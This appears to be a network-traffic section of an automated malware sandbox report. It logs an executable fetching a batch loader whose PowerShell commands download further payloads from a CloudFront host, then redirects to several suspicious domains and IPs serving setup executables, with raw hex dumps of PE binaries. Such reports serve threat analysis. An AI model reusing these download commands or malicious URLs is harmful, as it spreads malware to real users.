Apr 26, 2024 11:06:46.390748978 CEST	1289	IN	Data Raw: 3b 46 10 76 04 85 c0 75 9b 8b 4e 10 3b c1 77 19 89 46 10 83 7e 14 10 72 08 8b 0e c6 04 01 00 eb 14 8b ce c6 04 01 00 eb 0c 2b c1 8b ce 6a 00 50 e8 ff fd ff ff 8b c6 8b 4d f4 64 89 0d 00 00 00 00 59 5f 5e 5b 8b e5 5d c2 0c 00 cc cc cc cc cc cc cc Data Ascii: ;FvuN;wF~r+jPMdY_^[]UAPuuuu;y]3]UjhpFdPSVWlG3PEdeuEv'^;v<+
Apr 26, 2024 11:06:46.390786886 CEST	1289	IN	Data Raw: e8 99 30 05 00 83 c4 04 8d 4d e4 e8 d5 2e 05 00 8b c6 8b 4d f4 64 89 0d 00 00 00 00 59 5f 5e 5b 8b 4d ec 33 cd e8 93 43 05 00 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 56 8b f1 0f 57 c0 8d 46 04 50 c7 06 ac c1 46 00 66 0f d6 00 Data Ascii: 0M.MdY_^[M3C]UVWFPFfEPQLF^]VNt$F+PQFFF^Vt#F+PQFF^UjhFdPPVWl
Apr 26, 2024 11:06:46.630439043 CEST	1289	IN	Data Raw: c7 00 00 00 00 00 6a 01 8b 01 ff 10 85 f6 75 e9 6a 00 6a 00 c7 47 24 00 00 00 00 e8 9c 6b 05 00 cc cc 56 8b f1 8b 4e 40 85 c9 74 24 8b 46 48 2b c1 c1 f8 03 50 51 e8 b7 03 00 00 c7 46 40 00 00 00 00 c7 46 44 00 00 00 00 c7 46 48 00 00 00 00 8b 4e Data Ascii: jujjG$kVN@t$FH+PQF@FDFHN4t$F<+PQF4F8F<N$t$F,+PQF$F(F,Nt$F+PQ6FFFNt$F+PQFF

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	13.249.105.199	443	3012	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 09:05:56 UTC	157	OUT	GET /load/load.php?c=1000 HTTP/1.1 User-Agent: NSIS_Inetc (Mozilla) Host: dsepc5ud74wta.cloudfront.net Connection: Keep-Alive Cache-Control: no-cache
2024-04-26 09:05:56 UTC	477	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Transfer-Encoding: chunked Connection: close Server: nginx/1.10.1 Date: Fri, 26 Apr 2024 09:05:56 GMT X-Powered-By: PHP/5.5.38 Content-Description: File Transfer Content-Disposition: attachment; filename="load.bat" X-Cache: Miss from cloudfront Via: 1.1 e65779811ad331617179859160ead1b4.cloudfront.net (CloudFront) X-Amz-Cf-Pop: MIA3-P5 X-Amz-Cf-Id: EcPTresKQD0VezTNzlYTb2nYv_I3ytMr4eaesjWTXSDfeohOoGQ7jA==
2024-04-26 09:05:56 UTC	704	IN	Data Raw: 32 62 39 0d 0a 40 45 43 48 4f 20 4f 46 46 0d 0a 63 64 20 25 54 45 4d 50 25 0d 0a 70 6f 77 65 72 73 68 65 6c 6c 20 2d 43 6f 6d 6d 61 6e 64 20 22 28 4e 65 77 2d 4f 62 6a 65 63 74 20 4e 65 74 2e 57 65 62 43 6c 69 65 6e 74 29 2e 44 6f 77 6e 6c 6f 61 64 46 69 6c 65 28 27 68 74 74 70 73 3a 2f 2f 64 73 65 70 63 35 75 64 37 34 77 74 61 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 6c 6f 61 64 2f 74 68 2e 70 68 70 3f 63 3d 31 30 30 30 27 2c 27 73 74 61 74 27 29 22 0d 0a 70 6f 77 65 72 73 68 65 6c 6c 20 2d 43 6f 6d 6d 61 6e 64 20 22 28 4e 65 77 2d 4f 62 6a 65 63 74 20 4e 65 74 2e 57 65 62 43 6c 69 65 6e 74 29 2e 44 6f 77 6e 6c 6f 61 64 46 69 6c 65 28 27 68 74 74 70 73 3a 2f 2f 64 73 65 70 63 35 75 64 37 34 77 74 61 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f Data Ascii: 2b9@ECHO OFFcd %TEMP%powershell -Command "(New-Object Net.WebClient).DownloadFile('https://dsepc5ud74wta.cloudfront.net/load/th.php?c=1000','stat')"powershell -Command "(New-Object Net.WebClient).DownloadFile('https://dsepc5ud74wta.cloudfront.net/
2024-04-26 09:05:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	13.249.105.199	443	3408	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 09:05:58 UTC	96	OUT	GET /load/th.php?c=1000 HTTP/1.1 Host: dsepc5ud74wta.cloudfront.net Connection: Keep-Alive
2024-04-26 09:05:58 UTC	372	IN	HTTP/1.1 200 OK Content-Type: text/html Transfer-Encoding: chunked Connection: close Server: nginx/1.10.1 Date: Fri, 26 Apr 2024 09:05:58 GMT X-Powered-By: PHP/5.5.38 X-Cache: Miss from cloudfront Via: 1.1 20e39984fc1932e2a15b23334116f65c.cloudfront.net (CloudFront) X-Amz-Cf-Pop: MIA3-P5 X-Amz-Cf-Id: Ucc0I-hY55LTH-Ck-r1D9xpmma6B9WQXvgzrtuHtd9lXARxv-0YTSg==
2024-04-26 09:05:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49706	13.249.105.199	443	5040	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 09:05:59 UTC	103	OUT	GET /load/dl.php?id=425&c=1000 HTTP/1.1 Host: dsepc5ud74wta.cloudfront.net Connection: Keep-Alive
2024-04-26 09:06:00 UTC	432	IN	HTTP/1.1 302 Moved Temporarily Content-Type: text/html Transfer-Encoding: chunked Connection: close Server: nginx/1.10.1 Date: Fri, 26 Apr 2024 09:05:59 GMT X-Powered-By: PHP/5.5.38 Location: http://185.172.128.59/ISetup1.exe X-Cache: Miss from cloudfront Via: 1.1 02b566b2fb37bbb2009a0a8acd8f37a4.cloudfront.net (CloudFront) X-Amz-Cf-Pop: MIA3-P5 X-Amz-Cf-Id: dgZt27Ed_KRw21YXY3aDKKWSWacmSQbEvJWL3Q3wLGj1g50msL7Xfg==
2024-04-26 09:06:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49709	13.249.105.199	443	5756	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 09:06:03 UTC	132	OUT	GET /load/dl.php?id=444 HTTP/1.1 User-Agent: InnoDownloadPlugin/1.5 Host: dsepc5ud74wta.cloudfront.net Connection: Keep-Alive
2024-04-26 09:06:03 UTC	454	IN	HTTP/1.1 302 Moved Temporarily Content-Type: text/html Transfer-Encoding: chunked Connection: close Server: nginx/1.10.1 Date: Fri, 26 Apr 2024 09:06:03 GMT X-Powered-By: PHP/5.5.38 Location: http://240216234727901.mjj.xne26.cfd/f/fvgbm0216901.txt X-Cache: Miss from cloudfront Via: 1.1 103ec34eaa00ebfa54ccec8bb9510672.cloudfront.net (CloudFront) X-Amz-Cf-Pop: MIA3-P5 X-Amz-Cf-Id: Dejn6PkzeYkn-GV_BloP4hBWYizbuuThzwF-5oo1IqDUA3SaenXIhw==
2024-04-26 09:06:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49714	13.249.105.199	443	3480	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 09:06:08 UTC	96	OUT	GET /load/dl.php?id=456 HTTP/1.1 Host: dsepc5ud74wta.cloudfront.net Connection: Keep-Alive
2024-04-26 09:06:09 UTC	439	IN	HTTP/1.1 302 Moved Temporarily Content-Type: text/html Transfer-Encoding: chunked Connection: close Server: nginx/1.10.1 Date: Fri, 26 Apr 2024 09:06:08 GMT X-Powered-By: PHP/5.5.38 Location: https://monoblocked.com/385128/setup.exe X-Cache: Miss from cloudfront Via: 1.1 5191af3e8a3a86edd9b91d6d2c886236.cloudfront.net (CloudFront) X-Amz-Cf-Pop: MIA3-P5 X-Amz-Cf-Id: 8JkJBtV0x7GJrluC12JUxBlRDYGCKYKJ-xsMz7bD5i_Bhu5CrST28A==
2024-04-26 09:06:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49715	45.130.41.108	443	3480	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 09:06:10 UTC	81	OUT	GET /385128/setup.exe HTTP/1.1 Host: monoblocked.com Connection: Keep-Alive
2024-04-26 09:06:10 UTC	240	IN	HTTP/1.1 301 Moved Permanently Server: nginx-reuseport/1.21.1 Date: Fri, 26 Apr 2024 09:06:10 GMT Content-Type: text/html; charset=iso-8859-1 Content-Length: 327 Connection: close Location: https://c.574859385.xyz/385128/setup.exe
2024-04-26 09:06:10 UTC	327	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 2e 35 37 34 38 35 39 33 38 35 2e 78 79 7a 2f 33 38 35 31 32 38 2f 73 65 74 75 70 2e 65 78 65 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://c.574859385.xyz/385128/setup.exe">here</a>.</p><hr><address>Apache/2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49716	37.221.125.202	443	3480	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 09:06:13 UTC	81	OUT	GET /385128/setup.exe HTTP/1.1 Host: c.574859385.xyz Connection: Keep-Alive
2024-04-26 09:06:13 UTC	248	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 26 Apr 2024 09:06:12 GMT Content-Type: application/octet-stream Content-Length: 6977619 Last-Modified: Fri, 26 Apr 2024 09:00:34 GMT Connection: close ETag: "662b6d32-6a7853" Accept-Ranges: bytes
2024-04-26 09:06:13 UTC	16136	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 dd e1 1d 57 99 80 73 04 99 80 73 04 99 80 73 04 1a 9c 7d 04 80 80 73 04 af a6 79 04 d9 80 73 04 17 88 2c 04 98 80 73 04 99 80 72 04 21 80 73 04 1a 88 2e 04 90 80 73 04 af a6 78 04 d4 80 73 04 f6 f6 d9 04 9e 80 73 04 f6 f6 ed 04 98 80 73 04 5e 86 75 04 98 80 73 04 52 69 63 68 99 80 73 04 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 f7 53 e5 4c 00 00 00 00 00 00 00 00 e0 00 0f Data Ascii: MZ@!L!This program cannot be run in DOS mode.$Wsss}sys,sr!s.sxsss^usRichsPELSL
2024-04-26 09:06:13 UTC	16384	IN	Data Raw: 0c 8b 45 b8 c1 e8 04 a8 01 75 22 32 db ff 75 c0 e8 7f ef ff ff ff 75 dc e8 77 ef ff ff ff 75 e8 e8 6f ef ff ff 83 c4 0c e9 92 00 00 00 ff 75 c0 c6 45 fc 01 e8 5b ef ff ff 59 8d 45 dc 8d 4d e8 50 e8 2c d2 ff ff 3b 75 ec 0f 8d 81 00 00 00 8b 55 e8 8d 44 72 02 66 8b 08 66 3b cf 74 09 66 85 c9 74 0c 40 40 eb ef 2b c2 d1 f8 8b f0 eb 03 83 ce ff 85 f6 7d 03 8b 75 ec 8d 45 d0 56 50 8d 4d e8 e8 ac d2 ff ff 8b 08 c6 45 fc 04 e8 03 fe ff ff 8a d8 c6 45 fc 01 ff 75 d0 f6 db 1a db fe c3 e8 ef ee ff ff 84 db 59 74 9c 32 db ff 75 dc e8 e0 ee ff ff 8b 55 e8 59 52 e8 d6 ee ff ff 59 8b 4d f4 5f 8a c3 5e 5b 64 89 0d 00 00 00 00 c9 c3 b3 01 eb d8 56 8b f1 33 d2 e8 b6 fc ff ff 84 c0 75 02 5e c3 56 ff 15 f8 b0 41 00 85 c0 0f 95 c0 5e c3 55 8b ec 83 ec 0c 80 3d 48 31 42 00 00 Data Ascii: Eu"2uuwuouE[YEMP,;uUDrff;tft@@+}uEVPMEEuYt2uUYRYM_^[dV3u^VA^U=H1B
2024-04-26 09:06:13 UTC	16384	IN	Data Raw: ff ff 89 7d fc e8 b0 ad ff ff e9 56 ff ff ff 8b 45 e0 66 89 5d c8 66 89 5d ca 8b 40 0c 8b 74 88 fc 8b 06 8d 7d c8 57 52 8b 08 50 89 55 fc ff 51 20 3b c3 0f 85 ba 01 00 00 66 83 7d c8 13 0f 85 29 03 00 00 8b 06 8b 7d d0 8d 55 c4 8b 08 52 50 ff 51 14 3b c3 0f 85 98 01 00 00 3b 7d c4 0f 83 09 03 00 00 83 4d fc ff 8d 4d c8 e8 bc d2 ff ff 89 5d f0 8b 06 8d 55 f0 52 68 28 b2 41 00 8b 08 50 c7 45 fc 02 00 00 00 ff 11 85 c0 8b 45 f0 0f 85 cf 02 00 00 3b c3 0f 84 c7 02 00 00 89 5d ec 8b 08 8d 55 ec 52 57 50 c6 45 fc 03 ff 51 0c 85 c0 8b 45 ec 0f 85 a1 02 00 00 3b c3 0f 84 99 02 00 00 89 5d e8 8b 08 8d 55 e8 52 68 f8 b2 41 00 50 c6 45 fc 04 ff 11 3b c3 8b 45 e8 0f 85 70 02 00 00 3b c3 0f 84 68 02 00 00 8d 4d 88 e8 a6 02 00 00 8d 45 8c 8b ce 50 57 c6 45 fc 05 e8 63 Data Ascii: }VEf]f]@t}WRPUQ ;f})}URPQ;;}MM]URh(APEE;]URWPEQE;]URhAPE;Ep;hMEPWEc
2024-04-26 09:06:13 UTC	16384	IN	Data Raw: b2 41 00 ff 75 0c e8 bd 69 00 00 83 c4 0c 85 c0 75 12 8b 4d 10 8b 45 08 50 89 01 8b 08 ff 51 04 33 c0 eb 05 b8 02 40 00 80 5d c2 0c 00 56 8b 74 24 08 ff 4e 04 8b 46 04 75 14 85 f6 74 0e 8b ce e8 0d 00 00 00 56 e8 49 6f ff ff 59 33 c0 5e c2 04 00 b8 5f a3 41 00 e8 f0 6d 00 00 51 56 8b f1 89 75 f0 83 65 fc 00 8d 4e 10 e8 1e 00 00 00 8b 76 08 83 4d fc ff 85 f6 74 06 8b 06 56 ff 50 08 8b 4d f4 5e 64 89 0d 00 00 00 00 c9 c3 b8 ac a3 41 00 e8 b5 6d 00 00 51 56 8b f1 89 75 f0 8d 8e ac 01 00 00 c7 45 fc 04 00 00 00 e8 f5 76 ff ff 8d 8e 98 01 00 00 c6 45 fc 03 e8 e6 76 ff ff 8d 8e 84 01 00 00 c6 45 fc 02 e8 d7 76 ff ff 8d 8e 70 01 00 00 c6 45 fc 01 e8 c8 76 ff ff 80 65 fc 00 8d 8e 58 01 00 00 e8 b9 76 ff ff 83 4d fc ff 8b ce e8 0d 00 00 00 8b 4d f4 5e 64 89 0d 00 Data Ascii: AuiuMEPQ3@]Vt$NFutVIoY3^_AmQVueNvMtVPM^dAmQVuEvEvEvpEveXvMM^d
2024-04-26 09:06:13 UTC	16384	IN	Data Raw: c7 40 04 24 b5 41 00 c7 40 08 60 b8 41 00 89 48 0c 89 48 10 89 88 a0 00 00 00 89 48 14 88 88 90 00 00 00 88 88 91 00 00 00 c7 80 b4 00 00 00 00 00 10 00 c7 80 b8 00 00 00 00 00 40 00 88 88 c0 00 00 00 c7 00 24 b9 41 00 c7 40 04 14 b9 41 00 c7 40 08 00 b9 41 00 89 88 a4 00 00 00 89 48 1c 89 48 18 89 48 34 89 48 30 c3 55 8b ec 56 8b 75 0c 6a 10 68 4c b9 41 00 56 e8 4a 29 00 00 83 c4 0c 85 c0 75 0a 8b 4d 10 8b 45 08 89 01 eb 59 6a 10 68 a8 b2 41 00 56 e8 2c 29 00 00 83 c4 0c 85 c0 74 e2 6a 10 68 98 b2 41 00 56 e8 18 29 00 00 83 c4 0c 85 c0 75 0a 8b 45 08 8b c8 8d 50 04 eb 1c 6a 10 68 48 b2 41 00 56 e8 fa 28 00 00 83 c4 0c 85 c0 75 1d 8b 45 08 8b c8 8d 50 08 f7 d9 1b c9 23 ca 8b 55 10 89 0a 8b 08 50 ff 51 04 33 c0 eb 05 b8 02 40 00 80 5e 5d c2 0c 00 8b 44 24 Data Ascii: @$A@`AHHH@$A@A@AHHH4H0UVujhLAVJ)uMEYjhAV,)tjhAV)uEPjhHAV(uEP#UPQ3@^]D$
2024-04-26 09:06:14 UTC	16384	IN	Data Raw: ff 68 e0 b9 41 00 68 2c 4a 41 00 64 a1 00 00 00 00 50 64 89 25 00 00 00 00 83 ec 58 53 56 57 89 65 e8 ff 15 74 b0 41 00 33 d2 8a d4 89 15 d0 33 42 00 8b c8 81 e1 ff 00 00 00 89 0d cc 33 42 00 c1 e1 08 03 ca 89 0d c8 33 42 00 c1 e8 10 a3 c4 33 42 00 6a 01 e8 96 0e 00 00 59 85 c0 75 08 6a 1c e8 c3 00 00 00 59 e8 48 09 00 00 85 c0 75 08 6a 10 e8 b2 00 00 00 59 33 f6 89 75 fc e8 b7 2a 00 00 ff 15 78 b0 41 00 a3 3c 5a 42 00 e8 75 29 00 00 a3 40 33 42 00 e8 1e 27 00 00 e8 60 26 00 00 e8 bb 20 00 00 89 75 d0 8d 45 a4 50 ff 15 7c b0 41 00 e8 f1 25 00 00 89 45 9c f6 45 d0 01 74 06 0f b7 45 d4 eb 03 6a 0a 58 50 ff 75 9c 56 56 ff 15 80 b0 41 00 50 e8 30 c4 fe ff 89 45 a0 50 e8 a9 20 00 00 8b 45 ec 8b 08 8b 09 89 4d 98 50 51 e8 3b 24 00 00 59 59 c3 8b 65 e8 ff 75 98 Data Ascii: hAh,JAdPd%XSVWetA33B3B3B3BjYujYHujY3u*xA<ZBu)@3B'`& uEP\|A%EEtEjXPuVVAP0EP EMPQ;$YYeu
2024-04-26 09:06:14 UTC	16384	IN	Data Raw: 85 94 00 00 00 39 5d 18 75 08 a1 4c 35 42 00 89 45 18 53 53 ff 75 10 ff 75 0c 8b 45 20 f7 d8 1b c0 83 e0 08 40 50 ff 75 18 ff 15 a8 b0 41 00 89 45 e0 3b c3 74 63 89 5d fc 8d 3c 00 8b c7 83 c0 03 24 fc e8 70 b1 ff ff 89 65 e8 8b f4 89 75 dc 57 53 56 e8 40 f2 ff ff 83 c4 0c eb 0b 6a 01 58 c3 8b 65 e8 33 db 33 f6 83 4d fc ff 3b f3 74 29 ff 75 e0 56 ff 75 10 ff 75 0c 6a 01 ff 75 18 ff 15 a8 b0 41 00 3b c3 74 10 ff 75 14 50 56 ff 75 08 ff 15 00 b0 41 00 eb 02 33 c0 8d 65 cc 8b 4d f0 64 89 0d 00 00 00 00 5f 5e 5b c9 c3 cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 56 33 c0 50 50 50 50 50 50 50 50 8b 55 0c 8d 49 00 8a 02 0a c0 74 07 42 0f ab 04 24 eb f3 8b 75 08 83 c9 ff 90 41 8a 06 0a c0 74 07 46 0f a3 04 24 73 f2 8b c1 83 c4 20 5e c9 c3 cc cc 55 8b ec 56 33 c0 50 Data Ascii: 9]uL5BESSuuE @PuAE;tc]<$peuWSV@jXe33M;t)uVuujuA;tuPVuA3eMd_^[UV3PPPPPPPPUItB$uAtF$s ^UV3P
2024-04-26 09:06:14 UTC	16384	IN	Data Raw: 01 00 00 00 a4 99 41 00 01 00 00 00 ac 99 41 00 01 00 00 00 b4 99 41 00 00 00 00 00 bc 99 41 00 ff ff ff ff c4 99 41 00 20 05 93 19 01 00 00 00 50 d1 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff d8 99 41 00 20 05 93 19 01 00 00 00 78 d1 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff ec 99 41 00 20 05 93 19 02 00 00 00 a0 d1 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff 00 9a 41 00 00 00 00 00 0a 9a 41 00 20 05 93 19 01 00 00 00 d0 d1 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff 1c 9a 41 00 20 05 93 19 01 00 00 00 f8 d1 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff 30 9a 41 00 20 05 93 19 01 00 00 Data Ascii: AAAAA PAA xAA AAA AA A0A
2024-04-26 09:06:14 UTC	16384	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2024-04-26 09:06:14 UTC	16384	IN	Data Raw: 46 2c 74 6e 52 4c 90 a0 e4 92 9c 91 dd 20 ae 88 bd 98 ca 8a 98 40 6a d8 ec d3 af 8a f7 31 70 b5 1f bc 62 27 f8 97 29 2f 45 f6 5e 28 51 bb 66 a2 dc 71 e8 f4 49 28 5a 44 c4 67 ab 31 0b 4a bb 7e b5 0a 5d 84 96 cb e9 ee 1d 71 ba a6 e9 75 c5 a1 f9 d9 24 cd 00 8a ad 3a 89 3a 7d 8c 21 d4 ea 6e dd ce 21 ff 17 26 df 41 7d 74 f9 21 db 8d 06 5e 86 4d 80 49 1d f3 e6 65 67 2f af 8e b0 69 5e c9 88 87 23 36 25 77 b8 65 38 e6 06 56 e1 37 9e 23 a4 63 e6 06 76 07 6a 3d 22 38 5f 7e 5b 23 d9 15 52 98 8e bd db a1 ad 0b 81 a8 ba 6e c5 9b d4 ac 30 5c 02 61 d2 71 a1 27 40 28 3d 51 41 c2 bf a6 5d 84 43 a6 1c ea 7b bf a4 92 07 38 46 0f 34 cc a7 77 3e 2b f0 db 77 56 c1 cf f4 9e af 66 04 db 65 b7 3b 88 2c 40 4a cc bc f8 7d 35 89 3d f1 ad e2 26 a3 9a d7 65 5f 58 3b 61 a2 f9 40 be 8d Data Ascii: F,tnRL @j1pb')/E^(QfqI(ZDg1J~]qu$::}!n!&A}t!^MIeg/i^#6%we8V7#cvj="8_~[#Rn0\aq'@(=QA]C{8F4w>+wVfe;,@J}5=&e_X;a@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49735	195.181.163.196	443	2668	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 09:06:29 UTC	211	OUT	HEAD /sm/24/11A12794-499E-4FA0-A281-A9A9AA8B2685/24.3.0.57/SystemMechanic.exe HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: download.iolo.net
2024-04-26 09:06:29 UTC	637	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 09:06:29 GMT Content-Type: application/octet-stream Content-Length: 59721128 Connection: close Server: BunnyCDN-MI1-876 CDN-PullZone: 1654350 CDN-Uid: 5b8ea5d8-68d6-4057-a57d-a5f315142028 CDN-RequestCountryCode: US Cache-Control: public, max-age=259200 Last-Modified: Tue, 19 Mar 2024 23:10:10 GMT CDN-StorageServer: LA-457 CDN-FileServer: 775 CDN-ProxyVer: 1.04 CDN-RequestPullSuccess: True CDN-RequestPullCode: 206 CDN-CachedAt: 03/25/2024 22:23:32 CDN-EdgeStorageId: 625 CDN-Status: 200 CDN-RequestId: 987ecad14121d6a453d3b6c289447480 CDN-Cache: HIT Accept-Ranges: bytes

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49736	195.181.163.196	443	2668	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 09:06:30 UTC	262	OUT	GET /sm/24/11A12794-499E-4FA0-A281-A9A9AA8B2685/24.3.0.57/SystemMechanic.exe HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 19 Mar 2024 23:10:10 GMT User-Agent: Microsoft BITS/7.8 Host: download.iolo.net
2024-04-26 09:06:30 UTC	637	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 09:06:30 GMT Content-Type: application/octet-stream Content-Length: 59721128 Connection: close Server: BunnyCDN-MI1-876 CDN-PullZone: 1654350 CDN-Uid: 5b8ea5d8-68d6-4057-a57d-a5f315142028 CDN-RequestCountryCode: US Cache-Control: public, max-age=259200 Last-Modified: Tue, 19 Mar 2024 23:10:10 GMT CDN-StorageServer: LA-457 CDN-FileServer: 775 CDN-ProxyVer: 1.04 CDN-RequestPullSuccess: True CDN-RequestPullCode: 206 CDN-CachedAt: 03/25/2024 22:23:32 CDN-EdgeStorageId: 625 CDN-Status: 200 CDN-RequestId: 6ae5026170c3976258700978aece8f62 CDN-Cache: HIT Accept-Ranges: bytes
2024-04-26 09:06:30 UTC	10415	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 ed 20 3b ec 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 c4 8a 03 00 56 04 00 00 00 00 00 fa e2 8a 03 00 20 00 00 00 00 8b 03 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 8f 03 00 02 00 00 54 70 8f 03 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL ;"0V @ Tp`
